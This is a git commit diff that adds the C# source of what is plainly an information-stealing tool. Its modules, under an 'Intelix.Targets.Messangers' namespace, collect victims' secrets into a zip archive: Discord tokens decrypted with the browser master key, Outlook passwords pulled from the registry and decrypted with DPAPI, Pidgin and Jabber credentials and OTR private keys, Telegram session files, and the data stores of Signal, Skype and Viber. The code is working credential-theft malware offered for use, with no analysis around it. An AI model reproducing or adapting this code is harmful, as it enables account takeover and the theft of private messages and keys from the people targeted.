initial commit
This commit is contained in:
i2p
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,163 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Discord : ITarget
|
||||
{
|
||||
private static readonly Regex _tokenRegex = new Regex("(mfa\\.[\\w-]{80,})|((MT|OD)[\\w-]{22,24}\\.[\\w-]{6}\\.[\\w-]{25,110})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
private static readonly Regex _encryptedRegex = new Regex("\"dQw4w9WgXcQ:([^\"]+)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Discord";
|
||||
counterApplications.Files.Add("Discord\\");
|
||||
Task task = Task.Run(delegate
|
||||
{
|
||||
Parallel.ForEach(Paths.Discord, delegate(string path)
|
||||
{
|
||||
string text = path + "\\Local Storage\\leveldb";
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string localstate = path + "\\Local State";
|
||||
List<string> list = TokensGrabber(text, localstate);
|
||||
if (list.Any())
|
||||
{
|
||||
string browserName = Paths.GetBrowserName(path);
|
||||
string text2 = "Discord\\" + browserName + ".txt";
|
||||
counterApplications.Files.Add(path + " => " + text2);
|
||||
zip.AddTextFile(text2, string.Join("\n", list));
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
Task task2 = Task.Run(delegate
|
||||
{
|
||||
Parallel.ForEach(Paths.Chromium, delegate(string path)
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
Parallel.ForEach(Directory.GetDirectories(path), delegate(string profile)
|
||||
{
|
||||
string text = profile + "\\Local Storage\\leveldb";
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string localstate = path + "\\Local State";
|
||||
List<string> list = TokensGrabber(text, localstate);
|
||||
if (list.Any())
|
||||
{
|
||||
string browserName = Paths.GetBrowserName(path);
|
||||
string text2 = "Discord\\" + browserName + " " + Path.GetFileName(profile) + ".txt";
|
||||
counterApplications.Files.Add(path + " => " + text2);
|
||||
zip.AddTextFile(text2, string.Join("\n", list));
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
Task.WaitAll(task, task2);
|
||||
if (counterApplications.Files.Count() > 0)
|
||||
{
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private List<string> TokensGrabber(string localstorage, string localstate)
|
||||
{
|
||||
List<string> source = SearchFiles(localstorage);
|
||||
ConcurrentBag<string> tokens = new ConcurrentBag<string>();
|
||||
ConcurrentBag<string> tokensEncrypted = new ConcurrentBag<string>();
|
||||
Parallel.ForEach(source, delegate(string localdb)
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = File.ReadAllText(localdb);
|
||||
Parallel.ForEach(SearchToken(content), delegate(string token)
|
||||
{
|
||||
tokens.Add(token);
|
||||
});
|
||||
Parallel.ForEach(SearchEncryptedTokens(content), delegate(string token)
|
||||
{
|
||||
tokensEncrypted.Add(token);
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
ConcurrentBag<string> distinctTokens = new ConcurrentBag<string>(tokens.Distinct());
|
||||
if (!tokensEncrypted.Any())
|
||||
{
|
||||
return distinctTokens.Distinct().ToList();
|
||||
}
|
||||
byte[] key = LocalState.MasterKeyV10(localstate);
|
||||
if (key == null)
|
||||
{
|
||||
return distinctTokens.Distinct().ToList();
|
||||
}
|
||||
Parallel.ForEach(tokensEncrypted.Distinct(), delegate(string encrypted)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = AesGcm.DecryptBrowser(Convert.FromBase64String(encrypted), key, null, checkprefix: false);
|
||||
if (array != null)
|
||||
{
|
||||
distinctTokens.Add(Encoding.UTF8.GetString(array).Trim());
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
return distinctTokens.Distinct().ToList();
|
||||
}
|
||||
|
||||
private List<string> SearchFiles(string path)
|
||||
{
|
||||
ConcurrentBag<string> locals = new ConcurrentBag<string>();
|
||||
string[] allowedExtensions = new string[3] { ".log", ".ldb", ".sqlite" };
|
||||
Parallel.ForEach(Directory.GetFiles(path), delegate(string file)
|
||||
{
|
||||
if (allowedExtensions.Contains(Path.GetExtension(file)))
|
||||
{
|
||||
locals.Add(file);
|
||||
}
|
||||
});
|
||||
return locals.ToList();
|
||||
}
|
||||
|
||||
private List<string> ExtractMatches(string content, Regex regex)
|
||||
{
|
||||
HashSet<string> hashSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||||
foreach (Match item in regex.Matches(content))
|
||||
{
|
||||
string value = item.Groups[1].Value;
|
||||
if (!string.IsNullOrWhiteSpace(value))
|
||||
{
|
||||
hashSet.Add(value);
|
||||
}
|
||||
}
|
||||
return hashSet.ToList();
|
||||
}
|
||||
|
||||
private List<string> SearchToken(string content)
|
||||
{
|
||||
return ExtractMatches(content, _tokenRegex);
|
||||
}
|
||||
|
||||
private List<string> SearchEncryptedTokens(string content)
|
||||
{
|
||||
return ExtractMatches(content, _encryptedRegex);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Element : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Element\\Local Storage\\leveldb");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "Element\\leveldb";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Element";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Icq : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ICQ", "0001");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "ICQ\\0001";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "ICQ";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Jabber : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
string[] source = new string[3]
|
||||
{
|
||||
folderPath + "\\.purple\\",
|
||||
folderPath + "\\Psi\\profiles\\default\\",
|
||||
folderPath + "\\Psi+\\profiles\\default\\"
|
||||
};
|
||||
string[] files2 = new string[4] { "accounts.xml", "otr.fingerprints", "otr.keys", "otr.private_key" };
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Jabber";
|
||||
Parallel.ForEach(source, delegate(string dir)
|
||||
{
|
||||
if (Directory.Exists(dir))
|
||||
{
|
||||
Parallel.ForEach(files2, delegate(string file2)
|
||||
{
|
||||
if (File.Exists(dir + file2))
|
||||
{
|
||||
string text = "Jabber\\" + file2;
|
||||
zip.AddFile(text, File.ReadAllBytes(dir + file2));
|
||||
counterApplications.Files.Add(dir + file2 + " => " + text);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("Jabber\\");
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class MicroSIP : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MicroSIP");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "MicroSIP\\";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "MicroSIP";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Outlook : ITarget
|
||||
{
|
||||
private static readonly Regex MailAddressRx = new Regex("^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$", RegexOptions.Compiled);
|
||||
|
||||
private static readonly Regex HostnameRx = new Regex("^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$", RegexOptions.Compiled);
|
||||
|
||||
private static readonly string[] RegistryRoots = new string[4] { "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676" };
|
||||
|
||||
private static readonly string[] KeysToCheck = new string[28]
|
||||
{
|
||||
"SMTP Email Address", "SMTP Server", "POP3 Server", "POP3 User Name", "SMTP User Name", "NNTP Email Address", "NNTP User Name", "NNTP Server", "IMAP Server", "IMAP User Name",
|
||||
"Email", "HTTP User", "HTTP Server URL", "POP3 User", "IMAP User", "HTTPMail User Name", "HTTPMail Server", "SMTP User", "POP3 Password2", "IMAP Password2",
|
||||
"NNTP Password2", "HTTPMail Password2", "SMTP Password2", "POP3 Password", "IMAP Password", "NNTP Password", "HTTPMail Password", "SMTP Password"
|
||||
};
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string[] registryRoots = RegistryRoots;
|
||||
foreach (string rootPath in registryRoots)
|
||||
{
|
||||
stringBuilder.Append(ReadRegistryTree(rootPath));
|
||||
}
|
||||
if (stringBuilder.Length != 0)
|
||||
{
|
||||
string text = Path.Combine("Outlook", "Outlook.txt");
|
||||
zip.AddTextFile(text, stringBuilder.ToString());
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Outlook";
|
||||
registryRoots = RegistryRoots;
|
||||
foreach (string text2 in registryRoots)
|
||||
{
|
||||
counterApplications.Files.Add(text2 + " => " + text);
|
||||
}
|
||||
counterApplications.Files.Add(text);
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private string ReadRegistryTree(string rootPath)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
Stack<string> stack = new Stack<string>();
|
||||
stack.Push(rootPath);
|
||||
while (stack.Count > 0)
|
||||
{
|
||||
string text = stack.Pop();
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false);
|
||||
if (registryKey == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] keysToCheck = KeysToCheck;
|
||||
foreach (string text2 in keysToCheck)
|
||||
{
|
||||
object value = registryKey.GetValue(text2);
|
||||
if (value != null)
|
||||
{
|
||||
string value2 = FormatValue(text2, value);
|
||||
if (!string.IsNullOrEmpty(value2))
|
||||
{
|
||||
stringBuilder.AppendLine(value2);
|
||||
}
|
||||
}
|
||||
}
|
||||
keysToCheck = registryKey.GetSubKeyNames();
|
||||
foreach (string path in keysToCheck)
|
||||
{
|
||||
try
|
||||
{
|
||||
stack.Push(Path.Combine(text, path));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
if (stringBuilder.Length > 0)
|
||||
{
|
||||
stringBuilder.AppendLine();
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
private string FormatValue(string valueName, object raw)
|
||||
{
|
||||
if (raw is byte[] array)
|
||||
{
|
||||
string text = DecryptValue(array);
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
return valueName + ": " + text;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text2 = Encoding.UTF8.GetString(array).Replace("\0", "");
|
||||
if (!string.IsNullOrWhiteSpace(text2))
|
||||
{
|
||||
return valueName + ": " + text2;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
string text3 = raw.ToString();
|
||||
if (string.IsNullOrWhiteSpace(text3))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (!HostnameRx.IsMatch(text3))
|
||||
{
|
||||
MailAddressRx.IsMatch(text3);
|
||||
}
|
||||
return valueName + ": " + text3;
|
||||
}
|
||||
|
||||
private static string DecryptValue(byte[] encrypted)
|
||||
{
|
||||
if (encrypted == null || encrypted.Length <= 1)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
byte[] array = new byte[encrypted.Length - 1];
|
||||
Buffer.BlockCopy(encrypted, 1, array, 0, array.Length);
|
||||
byte[] array2 = DpApi.Decrypt(array);
|
||||
if (array2 == null || array2.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return Encoding.UTF8.GetString(array2).TrimEnd(default(char));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Pidgin : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), ".purple");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Pidgin";
|
||||
CollectAccounts(zip, text, counterApplications);
|
||||
CollectLogs(zip, text, counterApplications);
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("Pidgin\\");
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectLogs(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = Path.Combine(pidginRoot, "logs");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = Path.Combine("Pidgin", "chatlogs");
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectAccounts(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = Path.Combine(pidginRoot, "accounts.xml");
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
XmlDocument xmlDocument = new XmlDocument();
|
||||
using (XmlReader reader = XmlReader.Create(text, new XmlReaderSettings
|
||||
{
|
||||
IgnoreComments = true,
|
||||
IgnoreWhitespace = true
|
||||
}))
|
||||
{
|
||||
xmlDocument.Load(reader);
|
||||
}
|
||||
XmlElement documentElement = xmlDocument.DocumentElement;
|
||||
if (documentElement == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
foreach (XmlNode childNode in documentElement.ChildNodes)
|
||||
{
|
||||
if (childNode.ChildNodes.Count >= 3)
|
||||
{
|
||||
XmlNode xmlNode2 = childNode.ChildNodes[0];
|
||||
XmlNode xmlNode3 = childNode.ChildNodes[1];
|
||||
XmlNode xmlNode4 = childNode.ChildNodes[2];
|
||||
string text2 = xmlNode2?.InnerText;
|
||||
string text3 = xmlNode3?.InnerText;
|
||||
string text4 = xmlNode4?.InnerText;
|
||||
if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3) && !string.IsNullOrEmpty(text4))
|
||||
{
|
||||
stringBuilder.AppendLine("Protocol: " + text2);
|
||||
stringBuilder.AppendLine("Username: " + text3);
|
||||
stringBuilder.AppendLine("Password: " + text4);
|
||||
stringBuilder.AppendLine();
|
||||
}
|
||||
}
|
||||
}
|
||||
if (stringBuilder.Length != 0)
|
||||
{
|
||||
string text5 = Path.Combine("Pidgin", "accounts.txt");
|
||||
zip.AddTextFile(text5, stringBuilder.ToString());
|
||||
counterApplications.Files.Add(text + " => " + text5);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Signal : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Signal");
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Signal";
|
||||
string[] array = new string[4] { "databases", "Session Storage", "Local Storage", "sql" };
|
||||
foreach (string path in array)
|
||||
{
|
||||
string text2 = Path.Combine(text, path);
|
||||
if (Directory.Exists(text2))
|
||||
{
|
||||
string text3 = Path.Combine("Signal", path);
|
||||
zip.AddDirectoryFiles(text2, text3);
|
||||
counterApplications.Files.Add(text2 + " => " + text3);
|
||||
}
|
||||
}
|
||||
string text4 = Path.Combine(text, "config.json");
|
||||
if (File.Exists(text4))
|
||||
{
|
||||
string text5 = Path.Combine("Signal", "config.json");
|
||||
zip.AddFile(text5, File.ReadAllBytes(text4));
|
||||
counterApplications.Files.Add(text4 + " => " + text5);
|
||||
counterApplications.Files.Add(text5);
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("Signal\\");
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Skype : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Skype for Desktop", "Local Storage");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Skype";
|
||||
string text2 = Path.Combine("Skype", "Local Storage");
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counterApplications.Files.Add("Skype\\");
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Telegram : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Telegram";
|
||||
Parallel.ForEach(FindAllMatches("tdata"), delegate(string tdata)
|
||||
{
|
||||
string targetPath = Path.GetFileName(tdata.Remove(tdata.Length - 6, 6)) + RandomStrings.GenerateHashTag();
|
||||
Copydata(tdata, targetPath, zip, counterApplications);
|
||||
});
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private void AddIfMatch(FileInfo fileInfo, string entryPath, InMemoryZip zip)
|
||||
{
|
||||
string name = fileInfo.Name;
|
||||
if (name.EndsWith("s") && name.Length == 17)
|
||||
{
|
||||
zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName));
|
||||
}
|
||||
else if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data") || name.StartsWith("configs") || name.StartsWith("maps"))
|
||||
{
|
||||
zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName));
|
||||
}
|
||||
}
|
||||
|
||||
private void Copydata(string sourceDir, string targetPath, InMemoryZip zip, Counter.CounterApplications counterApplications)
|
||||
{
|
||||
ConcurrentBag<string> matchedNames = new ConcurrentBag<string>();
|
||||
bool addedAny = false;
|
||||
Parallel.ForEach(Directory.GetFiles(sourceDir), delegate(string filePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
FileInfo fileInfo = new FileInfo(filePath);
|
||||
if (fileInfo.Length <= 7120)
|
||||
{
|
||||
string entryPath = targetPath + "\\" + fileInfo.Name;
|
||||
if (fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17)
|
||||
{
|
||||
matchedNames.Add(fileInfo.Name);
|
||||
}
|
||||
_ = counterApplications.Files.Count;
|
||||
AddIfMatch(fileInfo, entryPath, zip);
|
||||
if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps"))
|
||||
{
|
||||
addedAny = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
Parallel.ForEach(matchedNames, delegate(string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
string dirPath = Path.Combine(sourceDir, name);
|
||||
dirPath = dirPath.Remove(dirPath.Length - 1);
|
||||
if (Directory.Exists(dirPath))
|
||||
{
|
||||
Parallel.ForEach(Directory.GetFiles(dirPath), delegate(string filePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
FileInfo fileInfo = new FileInfo(filePath);
|
||||
if (fileInfo.Length <= 7120)
|
||||
{
|
||||
string entryPath = targetPath + "\\" + Path.GetFileName(dirPath) + "\\" + fileInfo.Name;
|
||||
AddIfMatch(fileInfo, entryPath, zip);
|
||||
if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps"))
|
||||
{
|
||||
addedAny = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
if (addedAny)
|
||||
{
|
||||
counterApplications.Files.Add(sourceDir + " => " + targetPath);
|
||||
}
|
||||
}
|
||||
|
||||
private List<string> FindInAppData(string folderName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(folderName))
|
||||
{
|
||||
return new List<string>();
|
||||
}
|
||||
ConcurrentDictionary<string, byte> found = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
|
||||
string[] array = new string[2]
|
||||
{
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
|
||||
};
|
||||
foreach (string text in array)
|
||||
{
|
||||
if (string.IsNullOrEmpty(text) || !Directory.Exists(text))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
Parallel.ForEach(Directory.EnumerateDirectories(text, "*", SearchOption.TopDirectoryOnly), delegate(string dir1)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = Path.Combine(dir1, folderName);
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
found.TryAdd(Path.GetFullPath(path), 0);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return new List<string>(found.Keys);
|
||||
}
|
||||
|
||||
private List<string> FindAllMatches(string folderName)
|
||||
{
|
||||
ConcurrentDictionary<string, byte> set = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
|
||||
Parallel.ForEach(ProcessWindows.FindFolder(folderName), delegate(string p)
|
||||
{
|
||||
set.TryAdd(p, 0);
|
||||
});
|
||||
Parallel.ForEach(FindInAppData(folderName), delegate(string p)
|
||||
{
|
||||
set.TryAdd(p, 0);
|
||||
});
|
||||
return new List<string>(set.Keys);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Tox : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Tox");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "Tox";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Tox";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Messangers;
|
||||
|
||||
public class Viber : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ViberPC", "data");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string entry = "Viber";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Viber";
|
||||
Array.ForEach(Directory.GetFiles(text), delegate(string file)
|
||||
{
|
||||
zip.AddFile(entry + "\\" + Path.GetFileName(file), File.ReadAllBytes(file));
|
||||
});
|
||||
Array.ForEach(Directory.GetDirectories(text), delegate(string dir)
|
||||
{
|
||||
zip.AddDirectoryFiles(dir, entry);
|
||||
});
|
||||
counterApplications.Files.Add(text + " => " + entry);
|
||||
counterApplications.Files.Add(entry);
|
||||
counter.Messangers.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user